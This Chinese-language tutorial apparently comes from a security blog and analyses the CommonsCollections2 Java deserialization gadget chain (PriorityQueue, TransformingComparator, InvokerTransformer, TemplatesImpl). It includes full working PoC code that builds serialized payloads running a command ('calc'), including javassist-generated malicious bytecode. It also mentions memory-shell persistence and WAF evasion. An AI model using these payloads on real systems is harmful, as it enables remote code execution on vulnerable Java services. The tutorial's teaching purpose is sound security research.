在 2015 年底 Commons-Collections 反序列化利用链被公开提出时,Apache Commons Collections 实际上同时存在两条分支:

  • commons-collections:commons-collections(老分支,包名一般是 org.apache.commons.collections.*),当时常见版本为 3.2.1

  • org.apache.commons:commons-collections4(4.x 新分支,包名变为 org.apache.commons.collections4.*),当时版本为 4.0

官方认为旧版 commons-collections 在架构和 API 设计上存在一些历史包袱与缺陷,但如果直接在 3.x 上修复,会引入大量破坏向前兼容的修改,导致已有项目升级成本极高。

因此官方选择以 4.x 作为重新设计后的新包推出:不仅 groupId / artifactId 改了,Java 包命名空间也从 collections 调整为 collections4,明确表示它不是 3.x 的直接替代品。这样两者命名空间不冲突,可以在同一个项目中同时引入并共存。

这里的 CommonsCollections2 就是一条专门用来针对 collections4 这个包的链。

下文使用的学习环境为 jdk 8u472

Kick-off

CommonsCollections2 这条链有什么特点呢?

这条链的核心在于抛弃了传统的 Map 类型入口(如 CommonsCollections2AnnotationInvocationHandlerCommonsCollections6HashMap/HashSet),转而使用 PriorityQueue(优先队列) 作为反序列化的入口点。

并采用 TransformingComparator 作为中间 Bridge 桥接链头和链尾

下文我们以两个不同的链尾作为分析学习 CommonsCollections2

Gadgets

ChainedTransformer

CommonsCollections4 变种链

ObjectInputStream.readObject()
  -> PriorityQueue.readObject()
    -> PriorityQueue.heapify()
      -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
          -> ChainedTransformer.transform()
            -> ConstantTransformer(Runtime.class)
            -> InvokerTransformer.transform(getMethod)
            -> InvokerTransformer.transform(invoke)
            -> InvokerTransformer.transform(exec)
              -> Runtime.getRuntime().exec("calc")

TemplatesImpl

CommonsCollections2 的特点即在此条 TemplatesImpl 链。

ObjectInputStream.readObject()
  -> PriorityQueue.readObject()
    -> PriorityQueue.heapify()
      -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
          -> InvokerTransformer.transform()
            -> Method.invoke()
              -> TemplatesImpl.newTransformer()
                -> TemplatesImpl.getTransletInstance()
                  -> TemplatesImpl.defineTransletClasses()
                    -> Class.newInstance()
                      -> (恶意字节码静态代码块/初始化逻辑触发命令执行)

POC

SerializeUtil

创建一个序列化工具类,方便执行链操作

package CommonsCollections2;
​
import javassist.ClassPool;
import javassist.CtClass;
​
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
​
public class SerializeUtil {
​
    // 序列化成字节数组
    public static byte[] serialize(Object o) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        return bout.toByteArray();
    }
​
    // 反序列化字节数组
    public static void unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        // 反序列化
        ois.readObject();
    }
​
    // 获取字节码
   public static byte[] getEvilCode(String className) throws Exception{
       ClassPool pool = ClassPool.getDefault();
       CtClass cc = pool.get(className);
       // 拿到字节码
       return cc.toBytecode();
   }
​
   // 反射,将 obj 的 fielsName
   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
   }
}

ChainedTransformer

package CommonsCollections2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.util.Comparator;
import java.util.PriorityQueue;

public class aa {

    public static void main(String[] args) throws Exception{

        // 经典的 transformer 链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
            )
        };

        Transformer[] fakeTransformer = new  Transformer[]{
            new ConstantTransformer("1"),
        };

        // 串联链
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 使用假链避免在构造阶段触发
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//        chainedTransformer.transform("Sinon");


        Comparator comparator = new TransformingComparator(chainedTransformer);


        // CC2 优先队列
        PriorityQueue priorityQueue = new PriorityQueue(comparator);
        System.out.println(priorityQueue.comparator().getClass());
        priorityQueue.offer("1");
        priorityQueue.offer("2");

        SerializeUtil.setFieldValue(chainedTransformer, "iTransformers", transformers);
        byte[] bytes = SerializeUtil.serialize(priorityQueue);
        SerializeUtil.unserialize(bytes);

    }
}

TemplatesImpl

package CommonsCollections2;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.util.PriorityQueue;

public class aa {

    public static void main(String[] args) throws Exception {

        // ===========================
        // 1. 生成恶意字节码
        // ===========================
        ClassPool pool = ClassPool.getDefault();
        // 创建一个空类 Evil
        CtClass cc = pool.makeClass("Evil");
        // 注意: 必须继承 AbstractTranslet
        cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        // 写入静态代码块,执行命令
        cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        // 获取字节码
        byte[] evilBytes = cc.toBytecode();

        // ===========================
        // 2. 实例化并配置 TemplatesImpl
        // ===========================
        // 使用 JDK 内部类 TemplatesImpl
        Object templatesImpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();

        // 将恶意字节码注入到 _bytecodes 字段
        SerializeUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{evilBytes});
        // _name 字段不能为空,否则会报错
        SerializeUtil.setFieldValue(templatesImpl, "_name", "Hello");

        // _tfactory 字段有时需要填充,防止 NPE,虽然序列化时是 transient 的
        SerializeUtil.setFieldValue(templatesImpl, "_tfactory",
            Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());


        // ===========================
        // 3. 组装 Transformer 和 Comparator
        // ===========================
        // 目标是调用 templatesImpl.newTransformer()

        // 先使用一个无害的 toString 避免直接在 第二次 PriorityQueue.add 的时候提前将链引爆了
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        TransformingComparator comparator = new TransformingComparator(transformer);


        // ===========================
        // 4. 组装 PriorityQueue
        // ===========================
        PriorityQueue queue = new PriorityQueue(2, comparator);

        // 添加两个元素以触发排序逻辑(heapify 需要非空)
        queue.add(templatesImpl);
        // 实际在这里就已经触发了 comparator 的 compare 方法
        queue.add(templatesImpl);

        // 将 InvokerTransformer 实例的 toString 替换为 newTransformer
        SerializeUtil.setFieldValue(transformer, "iMethodName", "newTransformer");

        // ===========================
        // 5. 序列化与反序列化测试
        // ===========================
        System.out.println("开始序列化...");
        byte[] bytes = SerializeUtil.serialize(queue);

        System.out.println("开始反序列化...");
        SerializeUtil.unserialize(bytes);
    }
}

Sink

我们依然以 ChainedTransformer 链触发为目的,作为实际 sink 点然后进行 Gadgets 分析。

至于详细调用原理,在 CommonsCollections6 等文章已经分析过,此处不再赘述。

// 经典的 transformer 链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
            )
        };
​
        Transformer[] fakeTransformer = new  Transformer[]{
            new ConstantTransformer("1"),
        };
​
        // 串联链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
        chainedTransformer.transform("Sinon");

对于 TemplatesImpl 链路,详细见下文 Trigger Chain -> TemplatesImpl

这是 CommonsCollections2 的关键链路

Trigger Chain

ChainedTransformer

依然是从 sink 点往回看 Gadgets ,以方便我们学习为什么能将整个链路串联起来。

我们知道 chainedTransformer 在调用 transform 方法时,就会自动串联执行整条链。

那我们的目的就是找到一个方法可以自动的调用 chainedTransformer.transform

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
        chainedTransformer.transform("Sinon");
        Comparator comparator = new TransformingComparator(chainedTransformer);

CommonsCollections2 中我们使用到了 TransformingComparator

TransformingComparator

Comparator 接口是一个用于自定义对象大小比较规则的接口,它可以用于对没有实现 Comparable 接口或需要不同排序规则的类的对象进行排序。(详见 Java 对象排序:Comparable / Comparator

TransformingComparator 可以理解为一个带预处理的比较器,他的工作流程为先把要比较的两个输入对象各自做一次 Transformer.transform(),再比较 transform 后的结果。

我们回顾 Gadgets 分析 TransformingComparator 作为比较器的比较方法实现。

 // TransformingComparator.compare
public int compare(I obj1, I obj2) {
    O value1 = (O)this.transformer.transform(obj1);
    O value2 = (O)this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

可以看到,确实如前面所说,先把要比较的两个对象各自进行一次 Transformer.transform() ,那么很容易想到,只要将传入的 obj 设置为 ChainedTransformer 链,就自然的串联下去了。

PriorityQueue

那么现在 TransformingComparator 通了,自然需要进一步寻找 source ,那么反序列化的入口必然是 readObject

由前文 Gadgets 可知 CommonsCollections2 是通过 PriorityQueue 来自动化触发 TransformingComparator

先来简单看看什么是 PriorityQueue :

PriorityQueue 优先队列,底层通常用 二叉堆(heap)实现

特点:

  • 每次取出的都是优先级最高的元素 默认规则:优先级最小的先出(小顶堆 / min-heap)(完全二叉树结构)

  • 不保证遍历顺序有序for-eachtoString() 看到的顺序不一定是从小到大

  • 允许重复元素不允许 null

PriorityQueue 的元素优先级由他的比较规则决定

这个比较规则来源只有两种:

  1. 自定义传入的 Comparator(自定义规则)

  2. 元素自身的 Comparable.compareTo()(自然顺序)

那么我们再来简单看看 PriorityQueue.readObject 的行为:

readObject -> heapify -> siftDown

这三步简单来说就是 PriorityQueue 在反序列化时把数据读回来之后,要把内部结构重新整理成一个合法的小顶堆。

那么在构建成小顶堆的时候,就会需要一个排序规则,如此,我们可以关注到 siftDown 方法。即存在一个选择分支,如果我们如前面

PriorityQueue 进行自定义 comparator 则优先使用此规则进行排序,如果不存在自定义 comparator则走默认排序分支。

comparator 即我们可控的比较器。

先看看默认的排序方法 siftDownComparable

显然,对于泛型 x 没有什么明显的可利用点,也没有什么能触发自定义 compare 方法的地方

    // PriorityQueue.siftDownComparable
    @SuppressWarnings("unchecked")
    private void siftDownComparable(int k, E x) {
        Comparable<? super E> key = (Comparable<? super E>)x;
        int half = size >>> 1;        // loop while a non-leaf
        while (k < half) {
            int child = (k << 1) + 1; // assume left child is least
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
                c = queue[child = right];
            if (key.compareTo((E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = key;
    }

回到自定义 comparator 分支 PriorityQueue.siftDownUsingComparator 方法

可以看到,多个 if 分支均可触发 comparator.compare ,此处的 comparator 我们可以通过构造方法进行传入自定义比较器,所以只要将 comparator 传入为 TransformingComparator 并进入这两层 if 分支,我们的上下文便是通了。

    // PriorityQueue.siftDownUsingComparator  
    @SuppressWarnings("unchecked")
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

Minimum Elements Required (size ≥ 2)

现在不妨直接尝试构造 POC 运行 ,发现并不会直接弹出 calc

package CommonsCollections2;
​
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
​
import java.util.Comparator;
import java.util.PriorityQueue;
​
public class CommonsCollections2 {
​
    public static void main(String[] args) throws Exception{
​
        // 经典的 transformer 链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
            )
        };
​
        Transformer[] fakeTransformer = new  Transformer[]{
            new ConstantTransformer("1"),
        };
​
        // 串联链
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//        chainedTransformer.transform("Sinon");
​
        Comparator comparator = new TransformingComparator(chainedTransformer);
​
        // CC2 优先队列
        PriorityQueue priorityQueue = new PriorityQueue(comparator);
        System.out.println(priorityQueue.comparator().getClass());
​
//        priorityQueue.offer("1");
//        priorityQueue.offer("2");
​
        SerializeUtil.setFieldValue(chainedTransformer, "iTransformers", transformers);
        byte[] bytes = SerializeUtil.serialize(priorityQueue);
        SerializeUtil.unserialize(bytes);
    }
}

不妨继续下个端点看看,原来是现在队列 size 为 0,在 heapify 方法中直接跳过了 siftDown

那这好说,我们只需要为 priorityQueue 压入两个元素。

至于为什么是两个,size >>> 1 等价于 对 size 做整数除以 2 并向下取整。那么既然 i >=0 ,则 size 最小为 2。

        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);

所以进行两个元素压入,自然就能进入循环成功执行后续链了。

细心的朋友还会关注到,我们运行一次执行了两次 calc

这个也很好理解,当我们继续进行到 TransformingComparator.compare 进行 transform 的时候,实际是执行了两次

this.transformer.transform 的。自然就触发了两次 calc

siftDownUsingComparator

以及顺便回顾一下我们前面的 if 分支

这是 PriorityQueue建堆/修堆 时用来恢复小顶堆结构的下沉算法。

在我们压入两个元素时,此时的 size 应为 2 ,初次循环自然 k 为 0 即非叶子节点。

小顶堆是完全二叉树结构,压入的初始元素结构如下。

index:  0   1
value: "1" "2"
​
​
    "1"          (queue[0])
    /
  "2"            (queue[1])

显然我们的实际情况中右孩子是不存在的,所以会跳过第一个 if 分支,进入到第二个 if 分支,依然执行 comparator.compare

当然由 k=0 , size >=2 初始,我们进入 while (k < half) 至少一轮,也就是实际不管哪个分支,一定会执行至少一次 comparator.compare

// PriorityQueue.siftDownUsingComparator
// 用比较器 comparator 来执行小顶堆的下沉(sift down)操作:
//      将元素 x 从位置 k 开始向下调整,直到满足堆性质(父 <= 子)。
@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
​
    // half = size / 2(向下取整)
    // 在数组堆里:索引 >= half 的节点都是叶子节点(没有孩子)
    // 所以只要 k < half,说明 k 还有至少一个孩子,可以继续下沉
    int half = size >>> 1;
​
    // 只要当前 k 还是非叶子节点,就可能需要继续往下调整
    while (k < half) {
​
        // child = 左孩子索引 = 2*k + 1
        // (k << 1) 等价于 k*2
        int child = (k << 1) + 1;
​
        // c 先指向左孩子的元素(假设认为左孩子更小)
        Object c = queue[child];
​
        // right = 右孩子索引 = 左孩子索引 + 1 = 2*k + 2
        int right = child + 1;
​
        // 如果右孩子存在(right < size),并且左孩子 > 右孩子
        // 那么右孩子才是更小的那个孩子,应该用右孩子来和 x 比较/交换
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0) {
​
            // child 改成 right,并且 c 指向右孩子
            c = queue[child = right];
        }
​
        // 现在 c / child 表示左右孩子中“更小”的那个(按 comparator 的规则)
        // 如果 x <= c,说明 x 放在当前位置 k 不会违反“父 <= 子”,下沉结束
        if (comparator.compare(x, (E) c) <= 0)
            break;
​
        // 否则 x > c:堆性质被破坏,需要把更小的孩子 c 提到父位置 k
        queue[k] = c;
​
        // k 下移到 child(孩子位置),继续往下比较/下沉 x
        k = child;
    }
​
    // 循环结束后,把 x 放到最终的位置 k
    queue[k] = x;
}

TemplatesImpl

除了经典的 ChainedTransformer 外,我们还可以使用 TemplatesImpl 实现 sink ,并且可以不再依赖 Transformer 链去反射调用 Runtime,而是利用 JDK 内部类动态加载字节码 的特性。能够加载任意字节码,也就比常规的命令执行更为好用,可以注入内存马等进行权限维持。还可以因为字节码二进制流的特点,让流量特征不再那么明显,绕过很多 WAF 等检测。

InvokerTransformer

回顾 Gadgets 我们并没有像 ChainedTransformer 链一样,直接透过 ChainedTransformer.transform 就将执行链,而是采用了中间过渡获取的 TemplatesImpl

        -> TransformingComparator.compare()
          -> InvokerTransformer.transform()
            -> Method.invoke()
              -> TemplatesImpl.newTransformer()

那么 InvokerTransformer 作为 Apache Commons Collections 库里的实现类,这个类的作用是: 对传入的 input 对象,用反射去调用你指定的方法,并把返回值当作 transform 的结果返回。即 传入一个输入对象 input,经过处理,返回一个输出对象。

也就是说在构造 InvokerTransformer 时会提供:

  • methodName:要调用的方法名

  • paramTypes:参数类型数组

  • args:参数值数组

然后 transform(input) 时,就等价于(概念上)做一次:input.methodName(args...),并返回结果。

依然拿 Gadgets 举例,由前面部分的分析可知我们现在 input 其实是完全可控的,因为这就是传入比较器进行比较的 PriorityQueue.add() 的元素对象。

这意味着,我们现在可以调用任意类的任意方法以及传入任意参数

我们可以直接拿前面的 ChainedTransformer 魔改试试水,下面 POC 是尝试通过 InvokerTransformer 去调用传入的 ChainedTransformertransform 方法。

package CommonsCollections2;
​
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
​
import java.util.PriorityQueue;
​
public class CC2TemplatesImpl {
​
    public static void main(String[] args) throws Exception {
​
        // ===========================
        // 1. 生成恶意字节码
        // ===========================
        ClassPool pool = ClassPool.getDefault();
        // 创建一个空类 Evil
        CtClass cc = pool.makeClass("Evil");
        // 注意: 必须继承 AbstractTranslet
        cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        // 写入静态代码块,执行命令
        cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        // 获取字节码
        byte[] evilBytes = cc.toBytecode();
​
        // ===========================
        // 2. 实例化并配置 TemplatesImpl
        // ===========================
        // 使用 JDK 内部类 TemplatesImpl
        Object templatesImpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
​
        // 将恶意字节码注入到 _bytecodes 字段
        SerializeUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{evilBytes});
        // _name 字段不能为空,否则会报错
        SerializeUtil.setFieldValue(templatesImpl, "_name", "Hello");
        // _tfactory 字段有时需要填充,防止 NPE,虽然序列化时是 transient 的
        SerializeUtil.setFieldValue(templatesImpl, "_tfactory",
            Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
​
​
        // ===========================
        // 3. 组装 Transformer 和 Comparator
        // ===========================
        // 目标是调用 templatesImpl.newTransformer()
​
//        InvokerTransformer transformer = new InvokerTransformer("transform", new Class[0], new Object[0]);
​
        InvokerTransformer transformer = new InvokerTransformer(
            "transform",
            new Class[]{ Object.class},
            new Object[]{ "Sinon"}
        );
​
        TransformingComparator comparator = new TransformingComparator(transformer);
​
​
        // 经典的 transformer 链
        Transformer[] transformers1 = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
            )
        };
​
        // 串联链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers1);
//        chainedTransformer.transform("1");
​
        // ===========================
        // 4. 组装 PriorityQueue
        // ===========================
        PriorityQueue queue = new PriorityQueue(2, comparator);
​
        // 添加两个元素以触发排序逻辑(heapify 需要非空)
//        queue.add(templatesImpl);
//        queue.add(templatesImpl);
​
        queue.add(chainedTransformer);
        queue.add(chainedTransformer);
​
        // ===========================
        // 5. 序列化与反序列化测试
        // ===========================
        System.out.println("开始序列化...");
        byte[] bytes = SerializeUtil.serialize(queue);
​
        System.out.println("开始反序列化...");
        SerializeUtil.unserialize(bytes);
    }
}

ChainedTransformer 链执行成功

TemplatesImpl

好的,是时候回到 TemplatesImpl 链了,其实现在思路就很简单,我们往优先队列中压入两个 TemplatesImpl 对象作为比较器元素。

这两个元素即最终作为 InvokerTransformer.transform(Object input)input 对象

然后利用 InvokerTransformer 调用 TemplatesImpl 的任意方法以形成任意字节码加载。

那么既然要用到这个类,这个类的正常作用又是什么呢?

  • 全限定名com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

  • 来源:JDK 内部自带(rt.jar)。这意味着它不需要任何第三方依赖,只要有 Java 环境就有它。

  • 接口:它实现了 javax.xml.transform.Templates 接口。

在正常的 Java 开发中,它用于 XSLT(Extensible Stylesheet Language Transformations) 数据处理。

  • 场景:你需要把 XML 文件转换成 HTML 或其他格式。

  • 流程

    1. 你写一个 .xslt 文件(转换规则)。

    2. Java 为了高性能,不会每次都去解析这个文本格式的 .xslt 文件。

    3. 它会将 .xslt 文件编译成 Java 字节码(Class)。

    4. 这个编译好的字节码,就存储在 TemplatesImpl 对象的 _bytecodes 字段里。

    5. 当需要执行转换时,TemplatesImpl 会加载这段字节码,实例化为一个 Translet 对象,然后由这个对象去处理 XML 转换。

我们既然是研究怎么攻击,那么自然就很容易的关注到他的关键功能:它具有加载字节码并实例化的这个动作。

那么我们来根据 Gadgets 研究一下,他的字节码加载流程是什么?

我这里先给定加载流程方便截图往下跟进

Gadgets:
TemplatesImpl.newTransformer()
 -> TemplatesImpl.getTransletInstance()
  -> (if _class == null) TemplatesImpl.defineTransletClasses()
   -> TemplatesImpl$TransletClassLoader.defineClass(byte[])        // bytecode -> Class
    -> Class.newInstance() (i.e., _class[_transletIndex].newInstance()) // initialize class + create object
     -> new TransformerImpl(translet, _outputProperties, _indentNumber, _tfactory)

newTransformer

作为反序列化的最终调用的目标方法,这个方法本身没有危险逻辑,其他的我们不关注,只认为唯一作用就是去调用私有方法 getTransletInstance()

// TemplatesImpl.newTransformer
        
/**
* Implements JAXP's Templates.newTransformer()
*
* @throws TransformerConfigurationException
*/
public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
{
    TransformerImpl transformer;
​
    //     核心: 先拿到一个 Translet 实例(XSLTC 运行时可执行模板的实例)
    //    - getTransletInstance() 内部会:
    //      (a) 若 _class 为空: 调用 defineTransletClasses() 把 _bytecodes[] 里的字节码 defineClass 成 Class[]
    //      (b) 用 _class[_transletIndex].newInstance() 实例化主 Translet(可能触发类初始化 <clinit>)
    //    - 然后把 translet、输出属性、缩进、工厂等传给 TransformerImpl 进行封装
    transformer = new TransformerImpl(
            getTransletInstance(),
            _outputProperties,
            _indentNumber,
            _tfactory
    );
​
    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }
​
    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
​
    return transformer;
}

getTransletInstance

可以看到,我们必须设置 _name 。以及关键点在于 newInstance() 是最终执行我们执行代码的地方。但在执行这一步之前,必须先通过 defineTransletClasses() 把字节码变成 Class 对象。

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            // 检查 _name,如果为空直接返回 null,攻击中断。
            // 所以 PoC 里必须 setFieldValue(templatesImpl, "_name", "Hello");
            if (_name == null) return null;
            
            // 检查 _class 是否为空。反序列化出来的对象 _class 默认为 null。
            // 所以必然进入 defineTransletClasses()
            if (_class == null) defineTransletClasses();
​
            // 实例化对象
            // _class[_transletIndex] 就是我们加载的恶意类
            // newInstance() 会触发类的 构造函数 和 静态代码块(static block)
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            
            // 后续无关方法可以不关注
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(_overrideDefaultParser);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }
​
            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

defineTransletClasses

defineTransletClasses 方法可知,需要我们反射替换 _bytecodes 以便进入期望执行流。

并且字节码对象必须继承自 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

// TemplatesImpl.defineTransletClasses
​
private void defineTransletClasses()
    throws TransformerConfigurationException {
​
    // 1. 检查字节码数组是否存在
    if (_bytecodes == null) {
        // 抛出异常
    }
​
    // 2. 创建自定义类加载器 TransletClassLoader
    // [注意!!!] 这里用到了 _tfactory.getExternalExtensionsMap()
    // 如果 _tfactory 为 null,这里会抛出 NullPointerException。
    // 即 PoC 里必须填充 _tfactory 字段
    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });
​
    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];
​
        // 3. 遍历字节码数组
        for (int i = 0; i < classCount; i++) {
            // [关键] 调用 defineClass,将 byte[] 变成 Class 对象
            // 此时类被加载进 JVM,但静态代码块还没执行 (除非类本身有特殊初始化逻辑)
            _class[i] = loader.defineClass(_bytecodes[i]);
            
            // 4. [父类检查]
            final Class superClass = _class[i].getSuperclass();
​
            // 检查加载的类是否继承自 ABSTRACT_TRANSLET
            // 也就是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
            // 即 POC 中设置继承的原因
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i; // 标记为主类索引
            }
            // ...无关逻辑...
        }
​
        // 5. 如果没有找到继承 AbstractTranslet 的类,抛出异常
        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    // ...无关逻辑...
}

Detonation

回到 getTransletInstance

            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

我们简单理解这行代码,他的意义即: 实例化主 translet 类,拿到一个真正可以执行转换逻辑的对象translet

关注到我们 getTransletInstance 还有一段赋值逻辑,保证了 _class[_transletIndex] 拿到的就是我们已经 loader.defineClass (加载) 但是还未初始化的 Evil 类模板 (Class Object)。

                // TemplatesImpl.defineTransletClasses
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }

再回顾一下 java 基础

当我们调用 Class.newInstance() 时,JVM 规范要求:(简化步骤,实际更加复杂)

  1. 类加载检查:检查类是否已加载。

  2. 类初始化 (Initialization):如果类还没有被初始化,先进行初始化。

  3. 初始化阶段包括执行类的 <clinit> 方法,也就是我们常说的 static静态代码块。此时对象内存还没在堆上分配,仅仅是类被加载到了方法区。

  4. 对象内存分配:在堆上开辟空间。

  5. 实例初始化 (Instantiation):执行 <init> 方法(即构造函数)。

    • 先执行父类的构造函数。(此处是 AbstractTranslet )

    • 然后执行我们类的构造方法

也就是说我们 POC 中,写入静态代码块的内容,将会在类初始化的时候就执行。

        // 写入静态代码块,执行命令
        cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");

显然我们在静态代码块执行代码的时机比在构造方法处执行要快的多,在构造方法处再执行恶意代码的缺陷也有很多,这里就不展开。

虽然如此,我们还是可以验证一下构造方法执行的可行性的。

将静态代码块注入,换成构造函数即可,如下

        // 记得导包
        import javassist.CtConstructor;
​
    // 写入静态代码块,执行命令
//        cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
​
        // 获取无参构造器(如果没有会自动创建,或者显式创建一个)
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, cc);
        // 必须先调用父类构造函数
        constructor.setBody("{ super(); java.lang.Runtime.getRuntime().exec(\"calc\"); }");
        cc.addConstructor(constructor);

Mitigation

关于修复,直接给出 P 神的 《Java安全漫谈 - 16.commons-collections4与漏洞修复》原话

